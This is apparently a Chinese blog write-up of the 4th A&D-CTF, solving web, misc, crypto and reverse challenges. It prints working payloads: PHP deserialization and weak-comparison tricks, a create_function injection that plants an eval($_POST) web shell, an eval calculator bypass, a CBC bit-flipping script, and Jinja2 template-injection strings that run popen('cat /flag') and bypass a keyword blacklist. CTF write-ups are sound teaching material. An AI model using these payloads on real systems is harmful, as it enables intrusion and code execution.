Hed9eh0g

前进的路上总是孤独的

The 4th A&D-CTF Writeup

本文共计有11454个字

Web

新手代码

打开网页是代码审计题:

<?php
error_reporting(0);
require "flag.php";

if(!$_GET['x']){
    highlight_file(__FILE__);
    exit();
}

if(is_array($_GET['x'])){
    die("请不要使用数组,请再试试。");
}

if(!preg_match("/\d+/",$_GET['x'])){
    die("我只想要数字,请再试试。");
}

$x=str_replace("flag","_",$_GET['x']);
if(preg_match("/flag/i",$x)){
    echo $flag;
}

else{
    die("NO FLAG....");
}
?>

考察点就是php的正则表达式,要求不能传数组,只能传数字,并将’flag’替换为’_’,但最后又要求必须包含’flag’(不分大小写)才能输出答案。
虽然说不能传数字,然而根据正则表达式可知只需包含有数字即可,所以可构造出:x=FLAG1
得到flag:flag{3b2d697c-9e7b-47f5-a4c4-288c25c978a0}

怎么就泄露了源码

进来很明显提示git源码泄露。于是使用githack获取源码。代码审计api.php

for($i=0; $i<7; $i++){
	//why not "==="?!!?
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}
	switch ($same_count) {
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
    $money += $prize - 2;

可以很明显看出,它用每一位的数字去比较,而我们可以利用true和数字,字符串都是弱相等这一点,也就是传入

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

用burpsuite多跑几次就能有足够的钱买起flag。
得到flag:flag{_git_xiElou_1s_S0_FUN}

最强心算

打开网页,要求在3秒内提交计算结果:
《The 4th A&D-CTF Writeup》

果断写脚本,利用requests库的post方法来实现,另外需要通过抓包来得知post的变量名为answer。
脚本如下:

#python3.7
import requests
import re
url='http://104.248.222.130:5000/'
session=requests.Session()
source=session.get(url)
expression=re.search(r'(\d+[+\-*])+(\d+)',source.text)
result=eval(expression.group())
print(result)
post={'answer':result}
print(session.post(url,data=post).text)

最终得到flag:flag{Y0u_D0n3_jghadfh2132}

baopo

这题懒得写脚本,用burpsuite跑的。
《The 4th A&D-CTF Writeup》

可以看出密码是587379,登录后会得到一串字符:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('0{1}',2,2,'flag|going_on_it'.split('|'),0,{}))

上网一查这是加了js混淆。火狐里面可以自动解密。
《The 4th A&D-CTF Writeup》

得到flag:flag{going_on_it}

EasySql

注释符使用;%00
逻辑运算符换用^
故有payload:

?pw=')^0;%00

EasyPhp

打开网页是代码审计题:

<?php
include "config.php";
class huha{
    public $file;
    public $method;
    public $args;


    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    //flag is in flag.php
        $this->file = 'fool.php';
    }

    function source(){
            highlight_file(__FILE__);
    }

    function login(){
        define('IN_FLAG', TRUE);
        if(!empty($this->file)) {

            include $this->file;
        }
    }

    function __destruct(){
        if (in_array($this->method, array("login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        } 
    }
}

if(isset($_GET["data"])) {
    if (substr($_GET['data'], 0, 2) !== 'O:') {
            @unserialize($_GET["data"]);
        }
}

else {
    new huha("source", array());
}

?>

反序列化问题,一波分析之后,可以得知是关键调用login()函数,也即让method值为login,并让file值为flag.php即可得到flag。
而login()函数是没有参数的,所以让args值为空数组即可,也即arry()。
然而这样直接进行序列化对象还没有成功,因为加了一个if判断:

if(isset($_GET["data"])) {
    if (substr($_GET['data'], 0, 2) !== 'O:') {
            @unserialize($_GET["data"]);
        }
}

判断所传的值的前两位是否为’O:’,也即传值传的是对象的序列化字符是无法通过if判断的,所以考虑转化为对数组的序列化。先把对象转化为数组即可实现,最终构造出代码:

<?php
class huha{
    public $args;
    public $file;
    public $method;
}
$a=new huha();
$a->file='flag.php';
$a->method="login";
$a->args=array();
$myarray = array($a);
$myarray = serialize($myarray);
echo $myarray;

得到序列化结果:
a:1:{i:0;O:4:“huha”:3:{s:4:“args”;a:0:{}s:4:“file”;s:8:“flag.php”;s:6:“method”;s:5:“login”;}}

因此payload:
http://104.248.222.130:30083/?data=a:1:{i:0;O:4:”huha”:3:{s:4:”args”;a:0:{}s:4:”file”;s:8:”flag.php”;s:6:”method”;s:5:”login”;}}

得到flag:flag{un3eri@liz3_i3_s0_fun}

function

这道题是p牛出的原题。利用的create注入和%5c绕过,具体原理还没看。
当时直接抄的payload:

/?action=%5Ccreate_function&arg=return%202333;%7Deval($_POST%5B%27ddog%27%5D);%2f%2f

得到flag:flag{ee75ebdb-9692-4c2b-bc04-f50c8946768c}

calculator

打开之后叫你输入数学表达式:

《The 4th A&D-CTF Writeup》

想到了今年国赛也有一道类似的题目,可以先通过抓包看看传的数学表达式是去到哪个php文件。得知是calc.php,访问可以查看源码:

<?php 
error_reporting(0); 
//听说Dr.Liu高数挂科了,需要解题拿flag才能及格,你能不能帮一下他?
if(!isset($_GET['calc'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['calc']; 
    if (strlen($content) >= 80) { 
        die("太长了不会算"); 
    } 
    $black = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach ($black as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("这个字符好奇怪呀!"); 
        } 
    } 
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 
    $white = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $white)) { 
            die("这个函数好奇怪呀!"); 
        } 
    } 

    function get_flag(){
        require('flag.php');
        return $flag;
    }

    //帮你算出答案 
    eval('echo '.$content.';');

    if($max == "Math"){
        $content=get_flag();
        echo $content;
        $max = null;
    }

}
?>

基本和国赛的题目一样了,只不过增加了最后一个if判断,如果max变量值为Math就可以输出flag,然后我就被这一步干扰了,一直在想方设法实现对max的赋值,不过payload总是太长了。
最后结合这篇文章:https://www.ctfwp.com/articals/2019national.html?h=计算器#lovemath
发现其实根本不需要对max变量赋值,通过show_source()函数即可实现读取flag.php文件的源码,payload如下:

http://123.56.134.234:28094/calc.php?abs=flag.php&pow=show_source&calc=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pow}($$pi{abs})

得到flag:flag{4faf4b38-96bd-4923-9bad-27296b4d9fc3}

perseverance_means_victory

打开后叫你跳转到指定目录:
《The 4th A&D-CTF Writeup》

但是跳转到该目录之后又叫你跳转去另一个指定目录,所以有思路:通过跑脚本每次获取页面提供的跳转目录,然后访问它,直到页面显示flag,脚本如下:

#python2.7
import requests
import re
url = 'http://123.56.134.234:8082'
r = requests.get(url)
while (1):
    result = re.search('/\d{5}',r.text)
    url1 = url + result.group()
    r = requests.get(url1)
    print r.text
    if 'flag' in r.text:
        print r.text
        break

得到flag:flag{fef53f90be4493df2cdd10fb3abb4b4b}

login_as_admin

打开之后是一个登陆框,要求你输入id,随便输入一个值1,提交之后没有什么特别之处。考虑用burpsuite,发现响应消息的注释:?debug=1,所以在原网站传入debug=1,得到源码:

<?php
define("FLAG", "**************************************");
define("PRIVATE_KEY", "********************************");
define("METHOD", "aes-128-cbc");
error_reporting(0);

function get_random_iv(){
    $random_iv = "";
    for($i=0; $i<16; $i++){
        $random_iv .= chr(rand(1, 255));
    }
    return $random_iv;
}

function serialize_id($id){
    $info = array("id"=>$id);
    $plain = serialize($info);
    return $plain;
}

function unserialize_id($plain){
    $info = unserialize($plain) or die("<p>base64_decode('" . base64_encode($plain) . "') can't unserialize</p>");
    $id = $info["id"];
    return $id;
}

function aes_encrypt($plain, $iv){
    $cipher = openssl_encrypt($plain, METHOD, PRIVATE_KEY, OPENSSL_RAW_DATA, $iv);
    return $cipher;
}

function aes_decrypt($cipher, $iv){
    if($plain = openssl_decrypt($cipher, METHOD, PRIVATE_KEY, OPENSSL_RAW_DATA, $iv)){
        return $plain;
    }else{
        return FALSE;
    }
}

function login(){
    $id = (string)$_POST["id"];
    if("admin"==$id){
        die("<h1><center>You are not admin</center></h1>");
    }
    $iv = get_random_iv();
    $plain = serialize_id($id);
    $cipher = aes_encrypt($plain, $iv);
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
    echo "<h1><center>Hello " . $id . "</center></h1>";
}

function show_homepage(){
    $iv = base64_decode($_COOKIE["iv"]);
    $cipher = base64_decode($_COOKIE["cipher"]);
    if($plain = aes_decrypt($cipher, $iv)){
        $id = unserialize_id($plain);
        if("admin"==$id){
            echo FLAG;
        }else{
            echo "<h1><center>Hello " . $id . "</center></h1>";
        }
    }else{
        die("Error");
    }
}

function show_login(){
    echo '
    <br><br><br><br><br>
    <center>
    <form action="" method="post">
        <p>Input id to login</p>
        <input name="id" type="text" />
        <input name="submit" type="submit" value="Login" />
    <!-- ?debug=1 -->
    </form>
    </center>
    ';
}

function main(){
    if(isset($_GET["debug"]) && 1 == $_GET["debug"]){
        highlight_file("cbc.php");
    }else{
        if(isset($_POST["id"])){
            login();
        }else{
            if(isset($_COOKIE["iv"])&&isset($_COOKIE["cipher"])){
                show_homepage();
            }else{
                show_login();
            }
        }
    }
}

main();
?>

可以看到用到了CBC加密,首先想到的就是字节翻转攻击,具体的操作原理就不在此细说了,可用参考一下我博客的一篇文章
先post传入id=Admin,得到此时iv和对应cipher的值:

iv=dolXuUoySylcPfUvzws23g==
cipher=nEn78oWCmrBj/081eN4iDqsuEiVrnzjHdRmYK8potRY=

接下来先对id进行相应的序列化,然后得到分组结果:

第一组:a:1:{s:2:"id";s:
第二组:5:"Admin";}

目标是通过字节翻转攻击,将Admin改为admin,脚本如下:

#python2.7
import base64
cipher='nEn78oWCmrBj/081eN4iDqsuEiVrnzjHdRmYK8potRY='.decode('base64')
old = "5:\"Admin\";"
new = "5:\"admin\";"
index=3
cipher = cipher[:index] + chr(ord(cipher[index]) ^ ord(old[index]) ^ ord(new[index])) + cipher[index+1:]
print cipher.encode('base64').strip()

得到新的cipher=nEn70oWCmrBj/081eN4iDqsuEiVrnzjHdRmYK8potRY=
将新的cipher和原来的iv作为cookie传入,同时确保不post值,得到结果:

<p>base64_decode('lkZV5EABD30tCeIUWHv5VzU6ImFkbWluIjt9') can't unserialize</p>

这是由于修改了密文的第二组,影响到密文的第一组使其反序列化失败,所以通过构造新的iv使第一组密文回归正常,脚本如下:

#python2.7
import base64
plain = 'lkZV5EABD30tCeIUWHv5VzU6ImFkbWluIjt9'.decode('base64')
iv = 'dolXuUoySylcPfUvzws23g=='.decode('base64')
old = plain[:16]
new = "a:1:{s:2:\"id\";s:";
for i in xrange(16):
 iv = iv[:i] + chr(ord(iv[i]) ^ ord(old[i]) ^ ord(new[i])) + iv[i+1:]
print iv.encode('base64').strip()

得到新的iv=gfUzZ3FAfmZLFn5ftUu8sw==
将新的iv和刚才新的cipher一并传入:
《The 4th A&D-CTF Writeup》

得到flag:flag{327a6c4304ad5938eaf0efb6cc3e53dc}

What’s your name?

这题刚开始卡了很久,一直以为是xss后来才发现是模板注入。因为太菜了还没接触过,所以去网上学习了一波。
首先注入:

{{("".__class__.__mro__)}}

可以看出,返回了str类和object类。我们需要利用object类的子类来执行各种操作。

{{("".__class__.__bases__[0].__subclasses__())}}

可以看出,返回了很多类。这里我们使用<class ‘os._wrap_close’>这个类,毕竟OS库是与系统相关的。

{{"".__[']__.__bases__[0].__subclasses__()[127].__init__.__globals__}}

再进一步利用popen方法。提示里说flag就在本文件夹,所以我们进行cat就好了。

{{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()}}

得到flag:flag{8c9b1344-b23a-4c6a-ae2d-195bf3b1cd0c}

who are you?(隐藏关)

打通了副本?随缘看看,这题看起来还是模板注入。不过过滤了一些字符,抓包之后可以看到过滤规则:

blacklist = ['import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals']
 for no in blacklist:
 while True:
 if no in s:
 s = s.replace(no, '')
 return "Not Hack!!!"
 break
 else:
 break

还好是比较简单的黑名单的过滤,我们只需要用类似’cla’+’ss’来代替’class’就能够绕过了。故有payload:

{{session['__cla'+'ss__'].__base__.__base__.__base__['__subcla'+'sses__']()[163].__init__.__globals__['__bui'+'ltins__']['op'+'en']('/flag').read()}}

这个payload也可以用在上一题。
得到flag:flag{2c9a9deb-f1e9-4a8b-aaf5-b9bede1da237}

Misc

Misc1

下载得到一张图片,查看hex编码,在结尾处得到flag:flag{ezpicture}

Misc2

下载得到一张图片,查看hex编码无果,上binwalk
分解得到一个加密的压缩包和一个txt文件,其中txt文件提示:
《The 4th A&D-CTF Writeup》

得知密码格式,上ziperello爆破就很简单了,最终得到flag:flag{15684-56123-49549}

ezhide

下载得到一张jpg图片,看hex编码:
一开始觉得这hex编码挺正常啊,实在是没有思路,又不想用binwalk(懒得开kali?
翻了翻培训课ppt:
《The 4th A&D-CTF Writeup》

FFD9结束?在hex文件中找FFD9,发现并不是结尾,FFD9后面的内容是rar标识符,可以推断藏了一个压缩包。
最终得到压缩包,打开是一个txt文件:
《The 4th A&D-CTF Writeup》

ook编码,之前接触过,上解码网站:https://www.splitbrain.org/services/ook
最终得到flag:flag{AD_is_a_great_p1ace}

bad500

下载是一个压缩包,打开提示:压缩包损坏
果断查看文件头,发现确实是文件头数据被改了,改正之后可以解压,得到一张图片:
《The 4th A&D-CTF Writeup》

查看hex编码,发现文件头正常,发现一块奇怪的数据:

《The 4th A&D-CTF Writeup》

尝试将它删除,结果图片变成:

《The 4th A&D-CTF Writeup》

可以隐约看到flag了:flag{AD_Welc0me_you19}
(好久没做隐写题了,也不知道是不是这样做,反正能够拿到flag就好了)

Crypto

babyrsa

说这题baby其实一点也不baby,涉及的是多项式域的rsa分解。利用的是sage求解,所以一开始卡了很久。
逛了一下谷歌,竟然找到了原题。。。
这道题奇怪的地方就是n居然可以直接被factor()分解,所以其实和其他RSA题目差别不大,都是解出p,q.
脚本如下:

#python2.7
P=PolynomialRing(GF(2),'x')
e = 31337
n = P('略')
R.<a> = GF(2^2049)
c = 十进制密文略
c = P(R.fetch_int(c))
p, q = list(factor(n))
#print p 821
#print q 1227
phi = 2 ** 2048 * (1 - 1 / 2 ** 821) * (1 - 1 / 2 ** 1227)
d = inverse_mod(e, phi)
m = pow(c, d, n)
m = R(m).integer_representation()
print hex(m)[2:-1].decode('hex')

rsarsa

很常规的rsa题目,第一组用利用的p,q相近时的Fermat方法与Pollard rho方法。
第二组利用的是hastad attack。
解第二组的脚本删了。。。在此仅给出第一组的脚本。

import gmpy2
p = 414222958087425753615301
q = 884639515677437259970421
e = 17351
c = 299778512035605473265730856772475254796645726330
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
h = hex(gmpy2.powmod(c, d, n))[2:]
if len(h) % 2 == 1:
 h = '0' + h
s = h.decode('hex')
print s

第二组同理。
将两组得到的结果进行拼接即可得到flag:flag{57d6638c4c490b9601f77d11ba271d92}

Reverse

两道逆向题都是找到了原题,效仿相应的解题过程来做的。(苟且偷生的二进制小白)

task9

首先进行gdb调试:

gdb ./task5
(gdb) br main
(gdb) r
Key:12345

可以得到:

=> 0x804870f <main+249>: call 0x804851b <check_key>
(gdb) ni
=> 0x8048714 <main+254>: add esp,0x10
(gdb) ni
=> 0x8048717 <main+257>: test eax,eax
(gdb) i r eax
eax 0x0 0

传入eax为非0值:

(gdb) set $eax = 1
(gdb) c
Continuing.

即可得到flag.

music

这题是进行od调试,开始flag是直接看网上的,后来说flag错误去自己操作了一遍还是错。。。打算放弃了没想到最后说是flag错了。。。下面是操作结果图:
《The 4th A&D-CTF Writeup》

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注